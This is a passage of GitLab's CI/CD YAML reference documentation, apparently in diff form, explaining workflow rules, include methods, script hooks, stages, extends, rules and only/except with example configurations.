Merge request pipelines when a merge request is open for the branch. + +```yaml +workflow: + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + - if: '$CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS' + when: never + - if: '$CI_COMMIT_BRANCH' +``` + +If the pipeline is triggered by: + +- A merge request, run a merge request pipeline. For example, a merge request pipeline + can be triggered by a push to a branch with an associated open merge request. +- A change to a branch, but a merge request is open for that branch, do not run a branch pipeline. +- A change to a branch, but without any open merge requests, run a branch pipeline. + +You can also add a rule to an existing `workflow` section to switch from branch pipelines +to merge request pipelines when a merge request is created. + +Add this rule to the top of the `workflow` section, followed by the other rules that +were already present: + +```yaml +workflow: + rules: + - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS && $CI_PIPELINE_SOURCE == "push" + when: never + - ... # Previously defined workflow rules here +``` + +[Triggered pipelines](../triggers/index.md) that run on a branch have a `$CI_COMMIT_BRANCH` +set and could be blocked by a similar rule. Triggered pipelines have a pipeline source +of `trigger` or `pipeline`, so `&& $CI_PIPELINE_SOURCE == "push"` ensures the rule +does not block triggered pipelines. + +### `include` + +> [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/42861) to GitLab Free in 11.4. + +Use `include` to include external YAML files in your CI/CD configuration. +You can break down one long `gitlab-ci.yml` file into multiple files to increase readability, +or reduce duplication of the same configuration in multiple places. + +You can also store template files in a central repository and `include` them in projects. + +`include` requires the external YAML file to have the extensions `.yml` or `.yaml`, +otherwise the external file is not included. + +You can't use [YAML anchors](#anchors) across different YAML files sourced by `include`. +You can only refer to anchors in the same file. To reuse configuration from different +YAML files, use [`!reference` tags](#reference-tags) or the [`extends` keyword](#extends). + +`include` supports the following inclusion methods: + +| Keyword | Method | +|:--------------------------------|:------------------------------------------------------------------| +| [`local`](#includelocal) | Include a file from the local project repository. | +| [`file`](#includefile) | Include a file from a different project repository. | +| [`remote`](#includeremote) | Include a file from a remote URL. Must be publicly accessible. | +| [`template`](#includetemplate) | Include templates that are provided by GitLab. | + +When the pipeline starts, the `.gitlab-ci.yml` file configuration included by all methods is evaluated. +The configuration is a snapshot in time and persists in the database. GitLab does not reflect any changes to +the referenced `.gitlab-ci.yml` file configuration until the next pipeline starts. + +The `include` files are: + +- Deep merged with those in the `.gitlab-ci.yml` file. +- Always evaluated first and merged with the content of the `.gitlab-ci.yml` file, + regardless of the position of the `include` keyword. + +NOTE: +Use merging to customize and override included CI/CD configurations with local +configurations. Local configurations in the `.gitlab-ci.yml` file override included configurations. + +#### Variables with `include` **(FREE SELF)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/284883) in GitLab 13.8. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/294294) in GitLab 13.9. + +You can [use some predefined variables in `include` sections](../variables/where_variables_can_be_used.md#gitlab-ciyml-file) +in your `.gitlab-ci.yml` file: + +```yaml +include: + project: '$CI_PROJECT_PATH' + file: '.compliance-gitlab-ci.yml' +``` + +For an example of how you can include these predefined variables, and the variables' impact on CI/CD jobs, +see this [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos). + +#### `include:local` + +Use `include:local` to include a file that is in the same repository as the `.gitlab-ci.yml` file. +Use a full path relative to the root directory (`/`). + +If you use `include:local`, make sure that both the `.gitlab-ci.yml` file and the local file +are on the same branch. + +You can't include local files through Git submodules paths. + +All [nested includes](#nested-includes) are executed in the scope of the same project, +so it's possible to use local, project, remote, or template includes. + +Example: + +```yaml +include: + - local: '/templates/.gitlab-ci-template.yml' +``` + +You can also use shorter syntax to define the path: + +```yaml +include: '.gitlab-ci-production.yml' +``` + +Use local includes instead of symbolic links. + +##### `include:local` with wildcard file paths + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25921) in GitLab 13.11. +> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/327315) in GitLab 13.12. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to disable it. **(CORE ONLY)** + +There can be +[risks when disabling released features](../../user/feature_flags.md#risks-when-disabling-released-features). +Refer to this feature's version history for more details. + +You can use wildcard paths (`*` and `**`) with `include:local`. + +Example: + +```yaml +include: 'configs/*.yml' +``` + +When the pipeline runs, GitLab: + +- Adds all `.yml` files in the `configs` directory into the pipeline configuration. +- Does not add `.yml` files in subfolders of the `configs` directory. To allow this, + add the following configuration: + + ```yaml + # This matches all `.yml` files in `configs` and any subfolder in it. + include: 'configs/**.yml' + + # This matches all `.yml` files only in subfolders of `configs`. + include: 'configs/**/*.yml' + ``` + +The wildcard file paths feature is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:ci_wildcard_file_paths) +``` + +To disable it: + +```ruby +Feature.disable(:ci_wildcard_file_paths) +``` + +#### `include:file` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7. + +To include files from another private project on the same GitLab instance, +use `include:file`. You can use `include:file` in combination with `include:project` only. +Use a full path, relative to the root directory (`/`). + +For example: + +```yaml +include: + - project: 'my-group/my-project' + file: '/templates/.gitlab-ci-template.yml' +``` + +You can also specify a `ref`. If you do not specify a value, the ref defaults to the `HEAD` of the project: + +```yaml +include: + - project: 'my-group/my-project' + ref: main + file: '/templates/.gitlab-ci-template.yml' + + - project: 'my-group/my-project' + ref: v1.0.0 + file: '/templates/.gitlab-ci-template.yml' + + - project: 'my-group/my-project' + ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA + file: '/templates/.gitlab-ci-template.yml' +``` + +All [nested includes](#nested-includes) are executed in the scope of the target project. +You can use local (relative to target project), project, remote, or template includes. + +##### Multiple files from a project + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26793) in GitLab 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/271560) in GitLab 13.8. + +You can include multiple files from the same project: + +```yaml +include: + - project: 'my-group/my-project' + ref: main + file: + - '/templates/.builds.yml' + - '/templates/.tests.yml' +``` + +#### `include:remote` + +Use `include:remote` with a full URL to include a file from a different location. +The remote file must be publicly accessible by an HTTP/HTTPS `GET` request, because +authentication in the remote URL is not supported. For example: + +```yaml +include: + - remote: 'https://gitlab.com/example-project/-/raw/main/.gitlab-ci.yml' +``` + +All [nested includes](#nested-includes) execute without context as a public user, +so you can only `include` public projects or templates. + +#### `include:template` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53445) in GitLab 11.7. + +Use `include:template` to include `.gitlab-ci.yml` templates that are +[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). + +For example: + +```yaml +# File sourced from the GitLab template collection +include: + - template: Auto-DevOps.gitlab-ci.yml +``` + +Multiple `include:template` files: + +```yaml +include: + - template: Android-Fastlane.gitlab-ci.yml + - template: Auto-DevOps.gitlab-ci.yml +``` + +All [nested includes](#nested-includes) are executed only with the permission of the user, +so it's possible to use project, remote or template includes. + +#### Nested includes + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9. + +Use nested includes to compose a set of includes. + +You can have up to 100 includes, but you can't have duplicate includes. + +In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit +to resolve all files is 30 seconds. + +#### Additional `includes` examples + +View [additional `includes` examples](includes.md). + +## Keyword details + +The following topics explain how to use keywords to configure CI/CD pipelines. + +### `image` + +Use `image` to specify [a Docker image](../docker/using_docker_images.md#what-is-an-image) to use for the job. + +For: + +- Usage examples, see [Define `image` in the `.gitlab-ci.yml` file](../docker/using_docker_images.md#define-image-in-the-gitlab-ciyml-file). +- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation. + +#### `image:name` + +An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). + +For more information, see [Available settings for `image`](../docker/using_docker_images.md#available-settings-for-image). + +#### `image:entrypoint` + +An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). + +For more information, see [Available settings for `image`](../docker/using_docker_images.md#available-settings-for-image). + +#### `services` + +Use `services` to specify a [service Docker image](../services/index.md), linked to a base image specified in [`image`](#image). + +For: + +- Usage examples, see [Define `services` in the `.gitlab-ci.yml` file](../services/index.md#define-services-in-the-gitlab-ciyml-file). +- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation. +- Example services, see [GitLab CI/CD Services](../services/index.md). + +##### `services:name` + +An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). + +For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). + +##### `services:alias` + +An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). + +For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). + +##### `services:entrypoint` + +An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). + +For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). + +##### `services:command` + +An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). + +For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). + +### `script` + +Use `script` to specify a shell script for the runner to execute. + +All jobs except [trigger jobs](#trigger) require a `script` keyword. + +For example: + +```yaml +job: + script: "bundle exec rspec" +``` + +You can use [YAML anchors with `script`](#yaml-anchors-for-scripts). + +The `script` keyword can also contain several commands in an array: + +```yaml +job: + script: + - uname -a + - bundle exec rspec +``` + +Sometimes, `script` commands must be wrapped in single or double quotes. +For example, commands that contain a colon (`:`) must be wrapped in single quotes (`'`). +The YAML parser needs to interpret the text as a string rather than +a "key: value" pair. + +For example, this script uses a colon: + +```yaml +job: + script: + - curl --request POST --header 'Content-Type: application/json' "https://gitlab/api/v4/projects" +``` + +To be considered valid YAML, you must wrap the entire command in single quotes. If +the command already uses single quotes, you should change them to double quotes (`"`) +if possible: + +```yaml +job: + script: + - 'curl --request POST --header "Content-Type: application/json" "https://gitlab/api/v4/projects"' +``` + +You can verify the syntax is valid with the [CI Lint](../lint.md) tool. + +Be careful when using these characters as well: + +- `{`, `}`, `[`, `]`, `,`, `&`, `*`, `#`, `?`, `|`, `-`, `<`, `>`, `=`, `!`, `%`, `@`, `` ` ``. + +If any of the script commands return an exit code other than zero, the job +fails and further commands are not executed. Store the exit code in a variable to +avoid this behavior: + +```yaml +job: + script: + - false || exit_code=$? + - if [ $exit_code -ne 0 ]; then echo "Previous command failed"; fi; +``` + +#### `before_script` + +Use `before_script` to define an array of commands that should run before each job, +but after [artifacts](#artifacts) are restored. + +Scripts you specify in `before_script` are concatenated with any scripts you specify +in the main [`script`](#script). The combine scripts execute together in a single shell. + +You can overwrite a globally-defined `before_script` if you define it in a job: + +```yaml +default: + before_script: + - echo "Execute this script in all jobs that don't already have a before_script section." + +job1: + script: + - echo "This script executes after the global before_script." + +job: + before_script: + - echo "Execute this script instead of the global before_script." + script: + - echo "This script executes after the job's `before_script`" +``` + +You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts). + +#### `after_script` + +Use `after_script` to define an array of commands that run after each job, +including failed jobs. + +If a job times out or is cancelled, the `after_script` commands do not execute. +An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/15603) exists to support +executing `after_script` commands for timed-out or cancelled jobs. + +Scripts you specify in `after_script` execute in a new shell, separate from any +`before_script` or `script` scripts. As a result, they: + +- Have a current working directory set back to the default. +- Have no access to changes done by scripts defined in `before_script` or `script`, including: + - Command aliases and variables exported in `script` scripts. + - Changes outside of the working tree (depending on the runner executor), like + software installed by a `before_script` or `script` script. +- Have a separate timeout, which is hard coded to 5 minutes. See the + [related issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2716) for details. +- Don't affect the job's exit code. If the `script` section succeeds and the + `after_script` times out or fails, the job exits with code `0` (`Job Succeeded`). + +```yaml +default: + after_script: + - echo "Execute this script in all jobs that don't already have an after_script section." + +job1: + script: + - echo "This script executes first. When it completes, the global after_script executes." + +job: + script: + - echo "This script executes first. When it completes, the job's `after_script` executes." + after_script: + - echo "Execute this script instead of the global after_script." +``` + +You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts). + +#### Script syntax + +You can use syntax in [`script`](#script) sections to: + +- [Split long commands](script.md#split-long-commands) into multiline commands. +- [Use color codes](script.md#add-color-codes-to-script-output) to make job logs easier to review. +- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections) + to simplify job log output. + +### `stage` + +Use `stage` to define which stage a job runs in. Jobs in the same +`stage` can execute in parallel (subject to [certain conditions](#use-your-own-runners)). + +Jobs without a `stage` entry use the `test` stage by default. If you do not define +[`stages`](#stages) in the pipeline, you can use the 5 default stages, which execute in +this order: + +- [`.pre`](#pre-and-post) +- `build` +- `test` +- `deploy` +- [`.post`](#pre-and-post) +For example: + +```yaml +stages: + - build + - test + - deploy + +job 0: + stage: .pre + script: make something useful before build stage + +job 1: + stage: build + script: make build dependencies + +job 2: + stage: build + script: make build artifacts + +job 3: + stage: test + script: make test + +job 4: + stage: deploy + script: make deploy + +job 5: + stage: .post + script: make something useful at the end of pipeline +``` + +#### Use your own runners + +When you use your own runners, each runner runs only one job at a time by default. +Jobs can run in parallel if they run on different runners. + +If you have only one runner, jobs can run in parallel if the runner's +[`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section) +is greater than `1`. + +#### `.pre` and `.post` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31441) in GitLab 12.4. + +Use `pre` and `post` for jobs that need to run first or last in a pipeline. + +- `.pre` is guaranteed to always be the first stage in a pipeline. +- `.post` is guaranteed to always be the last stage in a pipeline. + +User-defined stages are executed after `.pre` and before `.post`. + +You must have a job in at least one stage other than `.pre` or `.post`. + +You can't change the order of `.pre` and `.post`, even if you define them out of order in the `.gitlab-ci.yml` file. +For example, the following configurations are equivalent: + +```yaml +stages: + - .pre + - a + - b + - .post +``` + +```yaml +stages: + - a + - .pre + - b + - .post +``` + +```yaml +stages: + - a + - b +``` + +### `extends` + +> Introduced in GitLab 11.3. + +Use `extends` to reuse configuration sections. It's an alternative to [YAML anchors](#anchors) +and is a little more flexible and readable. You can use `extends` to reuse configuration +from [included configuration files](#use-extends-and-include-together). + +In the following example, the `rspec` job uses the configuration from the `.tests` template job. +GitLab: + +- Performs a reverse deep merge based on the keys. +- Merges the `.tests` content with the `rspec` job. +- Doesn't merge the values of the keys. + +```yaml +.tests: + script: rake test + stage: test + only: + refs: + - branches + +rspec: + extends: .tests + script: rake rspec + only: + variables: + - $RSPEC +``` + +The result is this `rspec` job: + +```yaml +rspec: + script: rake rspec + stage: test + only: + refs: + - branches + variables: + - $RSPEC +``` + +`.tests` in this example is a [hidden job](#hide-jobs), but it's +possible to extend configuration from regular jobs as well. + +`extends` supports multi-level inheritance. You should avoid using more than three levels, +but you can use as many as eleven. The following example has two levels of inheritance: + +```yaml +.tests: + rules: + - if: $CI_PIPELINE_SOURCE == "push" + +.rspec: + extends: .tests + script: rake rspec + +rspec 1: + variables: + RSPEC_SUITE: '1' + extends: .rspec + +rspec 2: + variables: + RSPEC_SUITE: '2' + extends: .rspec + +spinach: + extends: .tests + script: rake spinach +``` + +In GitLab 12.0 and later, it's also possible to use multiple parents for +`extends`. + +#### Merge details + +You can use `extends` to merge hashes but not arrays. +The algorithm used for merge is "closest scope wins," so +keys from the last member always override anything defined on other +levels. For example: + +```yaml +.only-important: + variables: + URL: "http://my-url.internal" + IMPORTANT_VAR: "the details" + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + - if: $CI_COMMIT_BRANCH == "stable" + tags: + - production + script: + - echo "Hello world!" + +.in-docker: + variables: + URL: "http://docker-url.internal" + tags: + - docker + image: alpine + +rspec: + variables: + GITLAB: "is-awesome" + extends: + - .only-important + - .in-docker + script: + - rake rspec +``` + +The result is this `rspec` job: + +```yaml +rspec: + variables: + URL: "http://docker-url.internal" + IMPORTANT_VAR: "the details" + GITLAB: "is-awesome" + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + - if: $CI_COMMIT_BRANCH == "stable" + tags: + - docker + image: alpine + script: + - rake rspec +``` + +In this example: + +- The `variables` sections merge, but `URL: "http://docker-url.internal"` overwrites `URL: "http://my-url.internal"`. +- `tags: ['docker']` overwrites `tags: ['production']`. +- `script` does not merge, but `script: ['rake rspec']` overwrites + `script: ['echo "Hello world!"']`. You can use [YAML anchors](#anchors) to merge arrays. + +#### Use `extends` and `include` together + +To reuse configuration from different configuration files, +combine `extends` and [`include`](#include). + +In the following example, a `script` is defined in the `included.yml` file. +Then, in the `.gitlab-ci.yml` file, `extends` refers +to the contents of the `script`: + +- `included.yml`: + + ```yaml + .template: + script: + - echo Hello! + ``` + +- `.gitlab-ci.yml`: + + ```yaml + include: included.yml + + useTemplate: + image: alpine + extends: .template + ``` + +### `rules` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3. + +Use `rules` to include or exclude jobs in pipelines. + +Rules are evaluated *in order* until the first match. When a match is found, the job +is either included or excluded from the pipeline, depending on the configuration. + +`rules` replaces [`only/except`](#only--except) and they can't be used together +in the same job. If you configure one job to use both keywords, the GitLab returns +a `key may not be used with rules` error. + +`rules` accepts an array of rules defined with: + +- `if` +- `changes` +- `exists` +- `allow_failure` +- `variables` +- `when` + +You can combine multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules). + +The job is added to the pipeline: + +- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default), + `when: delayed`, or `when: always`. +- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`. + +The job is not added to the pipeline: + +- If no rules match. +- If a rule matches and has `when: never`. + +#### `rules:if` + +Use `rules:if` clauses to specify when to add a job to a pipeline: + +- If an `if` statement is true, add the job to the pipeline. +- If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline. +- If no `if` statements are true, do not add the job to the pipeline. + +`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) +or [custom CI/CD variables](../variables/index.md#custom-cicd-variables). + +**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job +to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior. + +**Possible inputs**: A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions). + +**Example of `rules:if`**: + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH' + when: never + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/' + when: manual + allow_failure: true + - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' +``` + +**Additional details**: + +- If a rule matches and has no `when` defined, the rule uses the `when` + defined for the job, which defaults to `on_success` if not defined. +- You can define `when` once per rule, or once at the job-level, which applies to + all rules. You can't mix `when` at the job-level with `when` in rules. +- Unlike variables in [`script`](../variables/index.md#use-cicd-variables-in-job-scripts) + sections, variables in rules expressions are always formatted as `$VARIABLE`. + +**Related topics**: + +- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules). +- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines). + +#### `rules:changes` + +Use `rules:changes` to specify when to add a job to a pipeline by checking for changes +to specific files. + +WARNING: +You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**. +You can use `rules: changes` with other pipeline types, but `rules: changes` always +evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines, +and so on do **not** have a Git `push` event associated with them. A `rules: changes` job +is **always** added to those pipelines if there is no `if:` that limits the job to +branch or merge request pipelines. + +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: An array of file paths. In GitLab 13.6 and later, +[file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). + +**Example of `rules:changes`**: + +```yaml +docker build: + script: docker build -t my-image:$CI_COMMIT_REF_SLUG . + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + changes: + - Dockerfile + when: manual + allow_failure: true +``` + +- If the pipeline is a merge request pipeline, check `Dockerfile` for changes. +- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline + continues running even if the job is not triggered (`allow_failure: true`). +- If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`). + +**Additional details**: + +- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges). +- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges). + +#### `rules:exists` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. + +Use `exists` to run a job when certain files exist in the repository. + +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`) +and can't directly link outside it. File paths can use glob patterns. + +**Example of `rules:exists`**: + +```yaml +job: + script: docker build -t my-image:$CI_COMMIT_REF_SLUG . + rules: + - exists: + - Dockerfile +``` + +`job` runs if a `Dockerfile` exists anywhere in the repository. + +**Additional details**: + +- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch) + with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`. +- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or + file paths. After the 10,000th check, rules with patterned globs always match. + In other words, the `exists` rule always assumes a match in projects with more + than 10,000 files. + +#### `rules:allow_failure` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. + +Use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail +without stopping the pipeline. + +You can also use `allow_failure: true` with a manual job. The pipeline continues +running without waiting for the result of the manual job. `allow_failure: false` +combined with `when: manual` in rules causes the pipeline to wait for the manual +job to run before continuing. + +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: `true` or `false`. Defaults to `false` if not defined. + +**Example of `rules:allow_failure`**: + +```yaml +job: + script: echo "Hello, Rules!" + rules: + - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH' + when: manual + allow_failure: true +``` + +If the rule matches, then the job is a manual job with `allow_failure: true`. + +**Additional details**: + +- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure), + and only applies when the specific rule triggers the job. + +#### `rules:variables` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/289803) in GitLab 13.10. + +Use [`variables`](#variables) in `rules:` to define variables for specific conditions. + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: A hash of variables in the format `VARIABLE-NAME: value`. + +**Example of `rules:variables`**: + +```yaml +job: + variables: + DEPLOY_VARIABLE: "default-deploy" + rules: + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH + variables: # Override DEPLOY_VARIABLE defined + DEPLOY_VARIABLE: "deploy-production" # at the job level. + - if: $CI_COMMIT_REF_NAME =~ /feature/ + variables: + IS_A_FEATURE: "true" # Define a new variable. + script: + - echo "Run script with $DEPLOY_VARIABLE as an argument" + - echo "Run another script if $IS_A_FEATURE exists" +``` + +### `only` / `except` + +NOTE: +`only` and `except` are not being actively developed. [`rules`](#rules) is the preferred +keyword to control when to add jobs to pipelines. + +You can use `only` and `except` to control when to add jobs to pipelines. + +- Use `only` to define when a job runs. +- Use `except` to define when a job **does not** run. + +Four keywords can be used with `only` and `except`: + +- [`refs`](#onlyrefs--exceptrefs) +- [`variables`](#onlyvariables--exceptvariables) +- [`changes`](#onlychanges--exceptchanges) +- [`kubernetes`](#onlykubernetes--exceptkubernetes) + +See [specify when jobs run with `only` and `except`](../jobs/job_control.md#specify-when-jobs-run-with-only-and-except) +for more details and examples. + +#### `only:refs` / `except:refs` + +Use the `only:refs` and `except:refs` keywords to control when to add jobs to a +pipeline based on branch names or pipeline types. + +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: An array including any number of: + +- Branch names, for example `main` or `my-feature-branch`. +- [Regular expressions](../jobs/job_control.md#only--except-regex-syntax) + that match against branch names, for example `/^feature-.*/`. +- The following keywords: + + | **Value** | **Description** | + | -------------------------|-----------------| + | `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). | + | `branches` | When the Git reference for a pipeline is a branch. | + | `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. | + | `external` | When you use CI services other than GitLab. | + | `external_pull_requests` | When an external pull request on GitHub is created or updated (See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests)). | + | `merge_requests` | For pipelines created when a merge request is created or updated. Enables [merge request pipelines](../pipelines/merge_request_pipelines.md), [merged results pipelines](../pipelines/pipelines_for_merged_results.md), and [merge trains](../pipelines/merge_trains.md). | + | `pipelines` | For [multi-project pipelines](../pipelines/multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api), or the [`trigger`](#trigger) keyword. | + | `pushes` | For pipelines triggered by a `git push` event, including for branches and tags. | + | `schedules` | For [scheduled pipelines](../pipelines/schedules.md). | + | `tags` | When the Git reference for a pipeline is a tag. | + | `triggers` | For pipelines created by using a [trigger token](../triggers/index.md#trigger-token). | + | `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. | + +**Example of `only:refs` and `except:refs`**: + +```yaml +job1: + script: echo + only: + - main + - /^issue-.*$/ + - merge_requests + +job2: + script: echo + except: + - main + - /^stable-branch.*$/ + - schedules +``` + +**Additional details:** + +- Scheduled pipelines run on specific branches, so jobs configured with `only: branches` + run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches` + from running on scheduled pipelines. +- `only` or `except` used without any other keywords are equivalent to `only: refs` + or `except: refs`. For example, the following two jobs configurations have the same + behavior: + + ```yaml + job1: + script: echo + only: + - branches + + job2: + script: echo + only: + refs: + - branches + ``` + +- If a job does not use `only`, `except`, or [`rules`](#rules), then `only` is set to `branches` + and `tags` by default. + + For example, `job1` and `job2` are equivalent: + + ```yaml + job1: + script: echo 'test' + + job2: + script: echo 'test' + only: + - branches + - tags + ``` + +#### `only:variables` / `except:variables` + +Use the `only:variables` or `except:variables` keywords to control when to add jobs +to a pipeline, based on the status of [CI/CD variables](../variables/index.md). + +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions). + +**Example of `only:variables`**: + +```yaml +deploy: + script: cap staging deploy + only: + variables: + - $RELEASE == "staging" + - $STAGING +``` + +**Related topics**: + +- [`only:variables` and `except:variables` examples](../jobs/job_control.md#only-variables--except-variables-examples). + +#### `only:changes` / `except:changes` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19232) in GitLab 11.4. + +Use the `changes` keyword with `only` to run a job, or with `except` to skip a job, +when a Git push event modifies a file. + +Use `changes` in pipelines with the following refs: + +- `branches` +- `external_pull_requests` +- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests)) + +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: An array including any number of: + +- Paths to files. +- Wildcard paths for single directories, for example `path/to/directory/*`, or a directory + and all its subdirectories, for example `path/to/directory/**/*`. +- Wildcard ([glob](https://en.wikipedia.org/wiki/Glob_(programming))) paths for all + files with the same extension or multiple extensions, for example `*.md` or `path/to/directory/*.{rb,py,sh}`. +- Wildcard paths to files in the root directory, or all directories, wrapped in double quotes. + For example `"*.json"` or `"**/*.json"`. + +**Example of `only:changes`**: + +```yaml +docker build: + script: docker build -t my-image:$CI_COMMIT_REF_SLUG . + only: + refs: + - branches + changes: + - Dockerfile + - docker/scripts/* + - dockerfiles/**/* + - more_scripts/*.{rb,py,sh} +``` + +**Additional details**: + +- If you use refs other than `branches`, `external_pull_requests`, or `merge_requests`, + `changes` can't determine if a given file is new or old and always returns `true`. +- If you use `only: changes` with other refs, jobs ignore the changes and always run. +- If you use `except: changes` with other refs, jobs ignore the changes and never run. + +**Related topics**: + +- [`only: changes` and `except: changes` examples](../jobs/job_control.md#onlychanges--exceptchanges-examples). +- If you use `changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds), + you should [also use `only:merge_requests`](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests). +- Use `changes` with [new branches or tags *without* pipelines for merge requests](../jobs/job_control.md#use-onlychanges-without-pipelines-for-merge-requests). +- Use `changes` with [scheduled pipelines](../jobs/job_control.md#use-onlychanges-with-scheduled-pipelines). + +#### `only:kubernetes` / `except:kubernetes` + +Use `only:kubernetes` or `except:kubernetes` to control if jobs are added to the pipeline +when the Kubernetes service is active in the project. + +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: The `kubernetes` strategy accepts only the `active` keyword. + +**Example of `only:kubernetes`**: + +```yaml +deploy: + only: + kubernetes: active +``` + +In this example, the `deploy` job runs only when the Kubernetes service is active +in the project. + +### `needs` + +> - 